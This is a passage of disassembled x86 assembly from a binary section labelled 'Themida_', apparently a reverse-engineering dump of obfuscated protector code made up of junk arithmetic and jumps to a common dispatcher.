		shl	ch, 1
		not	ch
		jmp	loc_55D597
; ---------------------------------------------------------------------------


loc_552458:				; CODE XREF: Themida_:00554679j
		and	esi, 4FF434CBh
		not	esi
		xor	esi, 0EB96EB20h
		sub	eax, 5008264Ch
		add	eax, esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5008264Ch
		add	eax, ebp
		jmp	loc_55C711
; ---------------------------------------------------------------------------


loc_552482:				; CODE XREF: Themida_:00553FBEj
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_552487:				; CODE XREF: Themida_:0055C5E7j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55374B
; ---------------------------------------------------------------------------


loc_5524A8:				; CODE XREF: Themida_:0055BCE4j
		add	esi, ebx
		jmp	loc_556051
; ---------------------------------------------------------------------------


loc_5524AF:				; CODE XREF: Themida_:0055CF12j
		shr	edi, 4
		sub	edi, 0FFFFFFFFh
		add	edi, 1
		xor	edi, 30993BEDh
		xor	edi, 0CA73FFh
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_553EED
; ---------------------------------------------------------------------------


loc_5524DC:				; CODE XREF: Themida_:00554D31j
		inc	edi
		jmp	loc_558010
; ---------------------------------------------------------------------------


loc_5524E2:				; CODE XREF: Themida_:00559085j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5524E7:				; CODE XREF: Themida_:00553BA2j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5536AD
; ---------------------------------------------------------------------------


loc_5524F4:				; CODE XREF: Themida_:0055DA27j
		mov	ebx, ebp
		pop	ebp
		jmp	loc_557FA0
; ---------------------------------------------------------------------------


loc_5524FC:				; CODE XREF: Themida_:00556A7Dj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	eax, eax
		jnz	loc_557404
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	ebx
		jmp	loc_552E3E
; ---------------------------------------------------------------------------


loc_55252E:				; CODE XREF: Themida_:0055746Fj
		pop	edx
		jmp	loc_553931
; ---------------------------------------------------------------------------


loc_552534:				; CODE XREF: Themida_:0055B147j
		mov	esp, [esp]
		mov	[esp], ebx
		push	6CB9h
		mov	[esp], esi
		push	ebx
		push	ebp
		push	esi
		push	45233C47h
		jmp	loc_558F55
; ---------------------------------------------------------------------------


loc_55254F:				; CODE XREF: Themida_:0055CB49j
		or	eax, eax
		jz	loc_553004
		push	6C82h
		mov	[esp], ebx
		jmp	loc_553F58
; ---------------------------------------------------------------------------


loc_552564:				; CODE XREF: Themida_:00551E32j
		xchg	esi, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_552574:				; CODE XREF: Themida_:00558755j
		push	eax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edx
		sub	esp, 4
		jmp	loc_55615E
; ---------------------------------------------------------------------------


loc_552590:				; CODE XREF: Themida_:00551D1Dj
		sub	ecx, 75EE0EE4h
		jmp	loc_55862D
; ---------------------------------------------------------------------------


loc_55259B:				; CODE XREF: Themida_:0055A64Bj
		mov	esi, 645D1A45h
		mov	[edi+20h], esi
		pop	esi
		push	ebx
		mov	ebx, 1B3E2913h
		sub	ebx, 14421390h
		sub	[edi+20h], ebx
		jmp	loc_559753
; ---------------------------------------------------------------------------


loc_5525B8:				; CODE XREF: Themida_:0055780Fj
		push	edi
		jmp	loc_55CCA2
; ---------------------------------------------------------------------------


loc_5525BE:				; CODE XREF: Themida_:00558E1Dj
		push	48C4CDAh
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_555FD8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_557CF8
; ---------------------------------------------------------------------------


loc_5525D7:				; CODE XREF: Themida_:00558FFDj
		push	ecx
		mov	ecx, 1
		sub	ebp, 5778391Fh
		add	ebp, ecx
		jmp	loc_557948
; ---------------------------------------------------------------------------


loc_5525EA:				; CODE XREF: Themida_:0055B905j
		inc	edi
		jmp	loc_557CCB
; ---------------------------------------------------------------------------


loc_5525F0:				; CODE XREF: Themida_:005543C1j
		pop	edi
		sub	ebx, ebp
		pop	ebp
		add	ebx, edi
		add	ebx, 36951E3Eh
		pop	edi
		push	ebp
		mov	ebp, 2
		add	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_55D2FF
; ---------------------------------------------------------------------------


loc_552618:				; CODE XREF: Themida_:0055C0FAj
		mov	ebx, 35DF09F9h
		jmp	loc_5522BC
; ---------------------------------------------------------------------------


loc_552622:				; CODE XREF: Themida_:0055582Dj
		mov	ebp, 78E93186h
		mov	ecx, ebp
		jmp	loc_5572B4
; ---------------------------------------------------------------------------


loc_55262E:				; CODE XREF: Themida_:00558503j
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55411E
; ---------------------------------------------------------------------------


loc_55263E:				; CODE XREF: Themida_:0055BB39j
		push	edx
		mov	edx, 24h
		push	ecx
		mov	ecx, 3D65764h
		sub	edx, ecx
		pop	ecx
		add	edx, edi
		push	ebx
		push	edx
		mov	edx, 3D65764h
		jmp	loc_55C7EF
; ---------------------------------------------------------------------------


loc_55265B:				; CODE XREF: Themida_:00556F37j
		add	eax, 3525674Fh
		add	eax, 170D73EBh
		push	ecx
		jmp	loc_55A2F5
; ---------------------------------------------------------------------------


loc_55266B:				; CODE XREF: Themida_:0055296Fj
		add	esi, ebp
		jmp	loc_559275
; ---------------------------------------------------------------------------


loc_552672:				; CODE XREF: Themida_:00554D84j
		mov	[esp], ebx
		push	eax
		jmp	loc_55310D
; ---------------------------------------------------------------------------


loc_55267B:				; CODE XREF: Themida_:005596FAj
		mov	edi, [esp]
		jmp	loc_553DEA
; ---------------------------------------------------------------------------


loc_552683:				; CODE XREF: Themida_:00552E39j
		mov	bl, 0F8h
		add	bl, 20h
		push	edx
		mov	dh, 0FCh
		jmp	loc_55A724
; ---------------------------------------------------------------------------


loc_552690:				; CODE XREF: Themida_:0055A86Bj
		pop	edx
		pop	ebx
		jmp	loc_55CEC8
; ---------------------------------------------------------------------------


loc_552697:				; CODE XREF: Themida_:0055D5FFj
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	2F56h
		mov	[esp], edi
		jmp	loc_55C2C0
; ---------------------------------------------------------------------------


loc_5526AE:				; CODE XREF: Themida_:00554E7Fj
		add	edi, ebx
		jmp	loc_556C27
; ---------------------------------------------------------------------------


loc_5526B5:				; CODE XREF: Themida_:00551AA3j
		add	esp, 4
		shr	edx, 6
		add	edx, 0FFFFFFFFh
		not	edx
		sub	edx, 0C7F922CBh
		push	ebp
		mov	ebp, edx
		push	ebp
		pop	ebx
		pop	ebp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	eax, 36E6605Ah
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5526EE:				; CODE XREF: Themida_:00558A23j
		add	esp, 4
		sub	bp, 1D31h
		sub	bp, bx
		jmp	loc_557251
; ---------------------------------------------------------------------------


loc_5526FE:				; CODE XREF: Themida_:005569DBj
		mov	[esp], ecx
		push	323A0AFCh
		jmp	loc_55279B
; ---------------------------------------------------------------------------


loc_55270B:				; CODE XREF: Themida_:005585F5j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55B213
; ---------------------------------------------------------------------------


loc_552723:				; CODE XREF: Themida_:00558BC0j
		pop	bx
		jmp	loc_558FDE
; ---------------------------------------------------------------------------


loc_55272A:				; CODE XREF: Themida_:0055AB8Ej
		push	ecx
		jmp	loc_553783
; ---------------------------------------------------------------------------


loc_552730:				; CODE XREF: Themida_:0055D2ECj
		pop	ebp
		jmp	loc_552993
; ---------------------------------------------------------------------------


loc_552736:				; CODE XREF: Themida_:0055AD24j
		dec	ecx
		push	ebp
		jmp	loc_55A7B8
; ---------------------------------------------------------------------------


loc_55273D:				; CODE XREF: Themida_:0055CC16j
		sub	edi, 4
		jmp	loc_55A317
; ---------------------------------------------------------------------------


loc_552745:				; CODE XREF: Themida_:0055960Ej
		add	eax, 713A2BB8h
		push	7176h
		mov	[esp], edi
		jmp	loc_55C5CD
; ---------------------------------------------------------------------------


loc_552757:				; CODE XREF: Themida_:0055C154j
		mov	esi, ecx
		jmp	loc_559219
; ---------------------------------------------------------------------------


loc_55275E:				; CODE XREF: Themida_:0055A90Dj
		pop	esp
		jmp	loc_55415B
; ---------------------------------------------------------------------------


loc_552764:				; CODE XREF: Themida_:0055CFB9j
		pop	eax
		jmp	loc_55C586
; ---------------------------------------------------------------------------


loc_55276A:				; CODE XREF: Themida_:0055591Aj
		not	dl
		shr	dl, 1
		add	dl, 13h
		mov	bh, dl
		pop	edx
		jmp	loc_551AF5
; ---------------------------------------------------------------------------


loc_552779:				; CODE XREF: Themida_:00553227j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5574CF
; ---------------------------------------------------------------------------


loc_552789:				; CODE XREF: Themida_:0055B6D7j
		dec	cl
		and	cl, 7Dh
		jmp	loc_55801B
; ---------------------------------------------------------------------------


loc_552793:				; CODE XREF: Themida_:00551C97j
		sub	ebx, esi
		pop	esi
		jmp	loc_55C93E
; ---------------------------------------------------------------------------


loc_55279B:				; CODE XREF: Themida_:00552706j
		pop	ecx
		xor	eax, ecx
		jmp	loc_55C57B
; ---------------------------------------------------------------------------


loc_5527A3:				; CODE XREF: Themida_:0055CE1Aj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	eax, 4
		jmp	loc_5567CC
; ---------------------------------------------------------------------------


loc_5527BA:				; CODE XREF: Themida_:0055CAFFj
		mov	ebx, [esp]
		add	esp, 4
		xor	edx, edx
		jmp	loc_55808D
; ---------------------------------------------------------------------------


loc_5527C7:				; CODE XREF: Themida_:00553574j
		pop	ecx
		push	esi
		push	4
		pop	esi
		jmp	loc_553392
; ---------------------------------------------------------------------------


loc_5527D4:				; CODE XREF: Themida_:005563DAj
		push	esp
		pop	dword ptr [esp]
		jmp	loc_551FC6
; ---------------------------------------------------------------------------


loc_5527DD:				; CODE XREF: Themida_:00556C3Ej
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_555A92
; ---------------------------------------------------------------------------


loc_5527F5:				; CODE XREF: Themida_:0055CDBAj
		xchg	ebp, [esp]
		pop	esp
		add	ecx, esi
		jmp	loc_555605
; ---------------------------------------------------------------------------


loc_552800:				; CODE XREF: Themida_:00556C03j
		mov	[esp], ebp
		push	esp
		jmp	loc_551BFF
; ---------------------------------------------------------------------------


loc_552809:				; CODE XREF: Themida_:00557069j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5530AF
; ---------------------------------------------------------------------------


loc_552820:				; CODE XREF: Themida_:0055809Bj
		add	esp, 4
		push	ebp
		push	1C9Ch
		push	esp
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_5576DF
; ---------------------------------------------------------------------------


loc_552840:				; CODE XREF: Themida_:00555399j
		mov	edx, [esp]
		add	esp, 4
		mov	edi, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_554F87
; ---------------------------------------------------------------------------


loc_552860:				; CODE XREF: Themida_:0055D4DFj
		push	6D6361FAh
		pop	ebx
		jmp	loc_5537C8
; ---------------------------------------------------------------------------


loc_55286B:				; CODE XREF: Themida_:0055C15Aj
		xor	al, bl
		jmp	loc_55ACE0
; ---------------------------------------------------------------------------


loc_552872:				; CODE XREF: Themida_:0055B651j
		dec	edi
		neg	edi
		push	ebx
		mov	ebx, 4B8D24D3h
		xor	ebx, 140C2745h
		sub	ebx, 4304EB00h
		xor	edi, ebx
		pop	ebx
		shr	edi, 7
		push	esi
		jmp	loc_55CA1B
; ---------------------------------------------------------------------------


loc_552893:				; CODE XREF: Themida_:0055BF13j
		push	esi
		mov	esi, 0BA07E19h
		not	esi
		jmp	loc_554D89
; ---------------------------------------------------------------------------


loc_5528A0:				; CODE XREF: Themida_:00554EF5j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5528A5:				; CODE XREF: Themida_:00556A53j
		btc	[esp], ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5528B0:				; CODE XREF: Themida_:00555CEBj
		or	esi, 323D4378h
		push	edx
		mov	edx, 2CD0FC8Bh
		jmp	loc_55DD38
; ---------------------------------------------------------------------------


loc_5528C1:				; CODE XREF: Themida_:00557B43j
		or	edx, 5E70055Ch
		jmp	loc_558462
; ---------------------------------------------------------------------------


loc_5528CC:				; CODE XREF: Themida_:005532F0j
		or	edi, 6AB80ED6h
		jmp	loc_558654
; ---------------------------------------------------------------------------


loc_5528D7:				; CODE XREF: Themida_:00552BE2j
		push	edx
		push	eax
		jmp	loc_55DD21
; ---------------------------------------------------------------------------


loc_5528DE:				; CODE XREF: Themida_:00556E24j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55CC7F
; ---------------------------------------------------------------------------


loc_5528F1:				; CODE XREF: Themida_:00552F65j
		xor	eax, edi
		pop	edi
		sub	esi, 2AB45D10h
		sub	esi, eax
		add	esi, 2AB45D10h
		pop	eax
		add	esi, 4D9422Ah
		sub	esi, 60FC0EF5h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	1CBFh
		jmp	loc_556877
; ---------------------------------------------------------------------------


loc_552923:				; CODE XREF: Themida_:0055B67Dj
		mov	ecx, 15174A8Dh
		add	ecx, 1
		jmp	loc_55BC28
; ---------------------------------------------------------------------------


loc_552930:				; CODE XREF: Themida_:00557760j
		mov	ecx, [esp]
		add	esp, 4
		add	edx, ecx
		jmp	loc_558169
; ---------------------------------------------------------------------------


loc_55293D:				; CODE XREF: Themida_:00553DA2j
		add	edi, ebp
		pop	ebp
		xor	ecx, edi
		jmp	loc_55CFE0
; ---------------------------------------------------------------------------


loc_552947:				; CODE XREF: Themida_:005535CBj
		pop	eax
		jmp	loc_5560FA
; ---------------------------------------------------------------------------


loc_55294D:				; CODE XREF: Themida_:00553216j
		add	edx, ebx
		add	dword ptr [edx], 1
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_551F37
; ---------------------------------------------------------------------------


loc_552963:				; CODE XREF: Themida_:00556184j
		push	ebp
		mov	ebp, 3EC64EF1h
		sub	esi, 2EC1BF9h
		jmp	loc_55266B
; ---------------------------------------------------------------------------


loc_552974:				; CODE XREF: Themida_:0055C8F3j
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_552181
; ---------------------------------------------------------------------------


loc_552983:				; CODE XREF: Themida_:0055D0F3j
		sub	ecx, edi
		pop	edi
		push	1CD3h
		mov	[esp], ebx
		jmp	loc_553437
; ---------------------------------------------------------------------------


loc_552993:				; CODE XREF: Themida_:00552731j
		add	esi, 4D09292Ah
		add	esi, 13DE6F31h
		mov	ebx, esi
		pop	esi
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5518D6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_556638
; ---------------------------------------------------------------------------


loc_5529BE:				; CODE XREF: Themida_:00554847j
		mov	[esp], edi
		jmp	loc_55670F
; ---------------------------------------------------------------------------


loc_5529C6:				; CODE XREF: Themida_:005591C9j
		pop	eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		add	edx, 2
		jmp	loc_5539A8
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_555857
; ---------------------------------------------------------------------------


loc_5529F1:				; CODE XREF: Themida_:00554F3Cj
		dec	bh
		push	cx
		jmp	loc_55548A
; ---------------------------------------------------------------------------


loc_5529FA:				; CODE XREF: Themida_:0055342Aj
		push	esp
		jmp	loc_55BB8A
; ---------------------------------------------------------------------------


loc_552A00:				; CODE XREF: Themida_:0055AB82j
		push	eax
		mov	eax, 402E422Dh
		neg	eax
		shr	eax, 7
		and	eax, 2C97758Eh
		push	edi
		mov	edi, 18810DC2h
		jmp	loc_55CA98
; ---------------------------------------------------------------------------


loc_552A1B:				; CODE XREF: Themida_:0055A5CCj
		and	ch, bh
		pop	ebx
		not	ch
		add	ch, 0E6h
		sub	al, ch
		pop	ecx
		pop	dx
		push	ebx
		push	0B4Ch
		mov	[esp], eax
		push	5FE7h
		mov	[esp], ebx
		mov	bh, 90h
		not	bh
		dec	bh
		and	bh, 43h
		xor	bh, 24h
		mov	ah, bh
		mov	ebx, [esp]
		jmp	loc_553101
; ---------------------------------------------------------------------------


loc_552A4F:				; CODE XREF: Themida_:00557F75j
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_559F18
; ---------------------------------------------------------------------------


loc_552A60:				; CODE XREF: Themida_:0055AB48j
		mov	[esp], ebx
		push	47CDh
		mov	[esp], ebp
		push	esi
		mov	esi, 6AF61486h
		mov	ebp, 0A70EF21Bh
		jmp	loc_5545AB
; ---------------------------------------------------------------------------


loc_552A7B:				; CODE XREF: Themida_:005562AAj
		push	esi
		add	dword ptr [esp], 93D2E11h
		pop	ecx
		sub	ecx, 93D2E11h
		pop	esi
		mov	ebx, ecx
		pop	ecx
		add	ebp, 539F1999h
		jmp	loc_5518B2
; ---------------------------------------------------------------------------


loc_552A99:				; CODE XREF: Themida_:0055B51Ej
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_552A9E:				; CODE XREF: Themida_:005534A9j
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebp
		push	ecx
		push	edx
		mov	edx, 35F97095h
		xor	[esp+4], edx
		pop	edx
		jmp	loc_558FE7
; ---------------------------------------------------------------------------


loc_552AB6:				; CODE XREF: Themida_:0055ACE7j
		mov	cl, 0E0h
		sub	al, 58h
		add	al, cl
		push	ebx
		push	ecx
		mov	cl, 53h
		push	ebx
		jmp	loc_55983C
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		mov	ebx, 633C4824h
		push	edx
		jmp	loc_55C1B5
; ---------------------------------------------------------------------------


loc_552AD3:				; CODE XREF: Themida_:00556640j
		push	edi
		mov	edi, 40260830h
		jmp	loc_55C9A2
; ---------------------------------------------------------------------------


loc_552ADE:				; CODE XREF: Themida_:0055A08Cj
		shr	ecx, 2
		and	ecx, 5A3134DAh
		shr	ecx, 8
		push	eax
		mov	eax, 0EE979E59h
		sub	ecx, eax
		pop	eax
		xor	eax, ecx
		jmp	loc_5592B1
; ---------------------------------------------------------------------------


loc_552AFA:				; CODE XREF: Themida_:0055C98Cj
		push	30FCh
		jmp	loc_55933F
; ---------------------------------------------------------------------------


loc_552B04:				; CODE XREF: Themida_:00558191j
		pop	ebx
		sub	cl, 0C5h
		dec	cl
		sub	cl, 0B8h
		mov	bl, cl
		pop	ecx
		push	edx
		mov	dh, bl
		jmp	loc_558F83
; ---------------------------------------------------------------------------


loc_552B18:				; CODE XREF: Themida_:00552220j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55BFFA
; ---------------------------------------------------------------------------


loc_552B27:				; CODE XREF: Themida_:00557E0Bj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55B75B
; ---------------------------------------------------------------------------


loc_552B33:				; CODE XREF: Themida_:00554210j
		sub	esi, ebx
		pop	ebx
		push	eax
		mov	eax, 4D1340D1h
		jmp	loc_556256
; ---------------------------------------------------------------------------


loc_552B41:				; CODE XREF: Themida_:00551A11j
		mov	ecx, ebp
		pop	ebp
		add	ecx, 0D84A15C8h
		jmp	loc_55398A
; ---------------------------------------------------------------------------


loc_552B4F:				; CODE XREF: Themida_:00554D90j
		sub	edi, 22737745h
		sub	edi, esi
		add	edi, 22737745h
		pop	esi
		push	dword ptr [esp]
		jmp	loc_55A075
; ---------------------------------------------------------------------------


loc_552B66:				; CODE XREF: Themida_:005596B3j
		push	61D9h
		mov	[esp], ecx
		xchg	edx, [esp]
		not	edx
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		mov	ecx, [esp]
		push	esi
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 0DD152F7h
		sub	ecx, 0DD152F3h
		jmp	loc_554FEB
; ---------------------------------------------------------------------------


loc_552B93:				; CODE XREF: Themida_:00555032j
		pop	edx
		jmp	loc_554906
; ---------------------------------------------------------------------------


loc_552B99:				; CODE XREF: Themida_:00557CF3j
		xchg	edi, [esp]
		jmp	loc_5580AD
; ---------------------------------------------------------------------------


loc_552BA1:				; CODE XREF: Themida_:00556C34j
		pop	edi
		push	14C2h
		mov	[esp], ebx
		push	ebp
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7E2E79F6h
		xor	ebx, 65F7364h
		neg	ebx
		not	ebx
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 0BF634C6h
		push	ecx
		mov	ecx, 265407A8h
		jmp	loc_559991
; ---------------------------------------------------------------------------


loc_552BDB:				; CODE XREF: Themida_:005589CCj
		mov	ecx, 28h
		add	ecx, edi
		jmp	loc_5528D7
; ---------------------------------------------------------------------------


loc_552BE7:				; CODE XREF: Themida_:0055B098j
		add	ebx, 4C3C00BCh
		add	ebx, ebp
		sub	ebx, 4C3C00BCh
		pop	ebp
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_552C08:				; CODE XREF: Themida_:00559942j
		push	edx
		mov	dh, 19h
		push	ecx
		mov	ch, 93h
		jmp	loc_551DAE
; ---------------------------------------------------------------------------


loc_552C13:				; CODE XREF: Themida_:00551A49j
		pop	ebx
		jmp	loc_551981
; ---------------------------------------------------------------------------


loc_552C19:				; CODE XREF: Themida_:0055C914j
		mov	di, 6D9Bh
		dec	di
		xor	di, 6F5Dh
		or	di, 713Ah
		sub	di, 1B62h
		jmp	loc_55A57F
; ---------------------------------------------------------------------------


loc_552C33:				; CODE XREF: Themida_:00558B43j
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	bl, al
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 12h
		add	dh, 0FFh
		shl	dh, 8
		jmp	loc_553467
; ---------------------------------------------------------------------------


loc_552C62:				; CODE XREF: Themida_:005551D3j
		sub	al, dh
		pop	dx
		sub	al, bh
		add	al, 17h
		pop	ebx
		push	ecx
		jmp	loc_5519AC
; ---------------------------------------------------------------------------


loc_552C71:				; CODE XREF: Themida_:00556633j
		pop	ebx
		jmp	loc_556149
; ---------------------------------------------------------------------------


loc_552C77:				; CODE XREF: Themida_:0055C87Aj
		add	ecx, 4
		push	eax
		jmp	loc_555E77
; ---------------------------------------------------------------------------


loc_552C83:				; CODE XREF: Themida_:00551D8Bj
		push	ecx
		mov	ecx, 36EE4F83h
		dec	ecx
		neg	ecx
		not	ecx
		shl	ecx, 5
		and	ecx, 32737B2Dh
		sub	ecx, 1041701Ch
		jmp	loc_5581EB
; ---------------------------------------------------------------------------


loc_552CA2:				; CODE XREF: Themida_:00551938j
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55840A
; ---------------------------------------------------------------------------


loc_552CB6:				; CODE XREF: Themida_:0055A100j
		or	edi, eax
		pop	eax
		jmp	loc_55889C
; ---------------------------------------------------------------------------


loc_552CBE:				; CODE XREF: Themida_:005535B2j
		pop	ecx
		add	esi, eax
		pop	eax
		add	esi, 2E477554h
		pop	eax
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_558F00
; ---------------------------------------------------------------------------


loc_552CD9:				; CODE XREF: Themida_:00552DEAj
		add	ecx, 1EE97C01h
		jmp	loc_55AAFF
; ---------------------------------------------------------------------------


loc_552CE4:				; CODE XREF: Themida_:0055B25Bj
		push	edi
		push	eax
		mov	eax, 642B034Ah
		mov	edi, 9BD4FCBAh
		add	edi, eax
		pop	eax
		jmp	loc_555771
; ---------------------------------------------------------------------------


loc_552CF8:				; CODE XREF: Themida_:00555D9Dj
					; Themida_:loc_55986Fj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5598AA
; ---------------------------------------------------------------------------


loc_552D08:				; CODE XREF: Themida_:0055B756j
		add	dword ptr [esp], 4
		pop	ebp
		push	5320h
		mov	[esp], edx
		mov	edx, 53654514h
		not	edx
		shl	edx, 5
		neg	edx
		jmp	loc_55D70F
; ---------------------------------------------------------------------------


loc_552D26:				; CODE XREF: Themida_:0055CE53j
		pop	edi
		add	esp, 4
		jmp	loc_5580CD
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_552D39:				; CODE XREF: Themida_:0055AAE8j
		mov	eax, 2
		add	edi, eax
		jmp	loc_5543C6
; ---------------------------------------------------------------------------


loc_552D45:				; CODE XREF: Themida_:0055573Ej
		inc	dl
		jmp	loc_55CCBC
; ---------------------------------------------------------------------------


loc_552D4C:				; CODE XREF: Themida_:00559E19j
		xor	edx, 14A20806h
		shr	edx, 1
		sub	edx, 347A89EAh
		xor	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 0A181E9Ah
		and	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, 6C6C2E2Eh
		mov	edx, 666C2E27h
		xor	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	0D46h
		mov	[esp], esi
		mov	esi, 7C306945h
		jmp	loc_55581C
; ---------------------------------------------------------------------------


loc_552DA3:				; CODE XREF: Themida_:00557EF4j
		add	eax, 491B6784h
		shl	eax, 1
		sub	eax, 27537609h
		add	eax, 443F6C4Bh
		xor	esi, eax
		pop	eax
		push	edi
		mov	edi, esi
		push	eax
		mov	eax, edi
		mov	ebx, eax
		pop	eax
		pop	edi
		jmp	loc_5550B7
; ---------------------------------------------------------------------------


loc_552DC6:				; CODE XREF: Themida_:00556C90j
		mov	ebx, 8D43B46h
		mov	ebp, 8D43B4Ah
		sub	ebp, 3282458Ah
		sub	ebp, ebx
		add	ebp, 3282458Ah
		pop	ebx
		push	ebp
		mov	ebp, 1EE97C01h
		sub	ecx, ebp
		pop	ebp
		add	ecx, ebp
		jmp	loc_552CD9
; ---------------------------------------------------------------------------


loc_552DEF:				; CODE XREF: Themida_:00553FF1j
		mov	ebx, [esp]
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		push	edi
		jmp	loc_55C5E5
; ---------------------------------------------------------------------------


loc_552E00:				; CODE XREF: Themida_:0055CFC1j
		push	edx
		push	7F673B60h
		mov	edx, [esp]
		jmp	loc_553552
; ---------------------------------------------------------------------------


loc_552E0E:				; CODE XREF: Themida_:005533FAj
		push	ebx
		push	45970425h
		jmp	loc_555CDE
; ---------------------------------------------------------------------------


loc_552E19:				; CODE XREF: Themida_:00556342j
		pop	esp
		xor	al, bh
		pop	ebx
		push	ecx
		push	eax
		mov	al, 6Fh
		mov	ch, 0A5h
		jmp	loc_551E74
; ---------------------------------------------------------------------------


loc_552E28:				; CODE XREF: Themida_:0055DBD3j
		mov	edx, [esp]
		add	esp, 4
		push	3467h
		mov	[esp], ebx
		jmp	loc_552683
; ---------------------------------------------------------------------------


loc_552E3E:				; CODE XREF: Themida_:00552529j
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		jmp	loc_554D95
; ---------------------------------------------------------------------------
		sub	esp, 2
		mov	[esp], ax
		push	small word ptr [esp+2]
		mov	ax, [esp]
		jmp	loc_558B14
; ---------------------------------------------------------------------------


loc_552E60:				; CODE XREF: Themida_:0055A187j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55C173
; ---------------------------------------------------------------------------


loc_552E6E:				; CODE XREF: Themida_:0055A7F4j
		pop	ebx
		not	ebx
		sub	ebx, 83CEADBDh
		mov	eax, ebx
		pop	ebx
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	[esp], eax
		pushf
		jmp	loc_55CF91
; ---------------------------------------------------------------------------


loc_552E8C:				; CODE XREF: Themida_:00556A2Cj
		mov	edi, 773B2431h
		sub	edi, 3C338FEh
		jmp	loc_553010
; ---------------------------------------------------------------------------


loc_552E9C:				; CODE XREF: Themida_:005536FEj
		mov	[esp], edi
		mov	edi, 268F66CFh
		jmp	loc_55A6C4
; ---------------------------------------------------------------------------


loc_552EA9:				; CODE XREF: Themida_:0055AB18j
		mov	[esp], ebp
		mov	ebp, 761F02C6h
		jmp	loc_555C7A
; ---------------------------------------------------------------------------


loc_552EB6:				; CODE XREF: Themida_:005599F8j
		push	edx
		mov	edx, 3D2370CBh
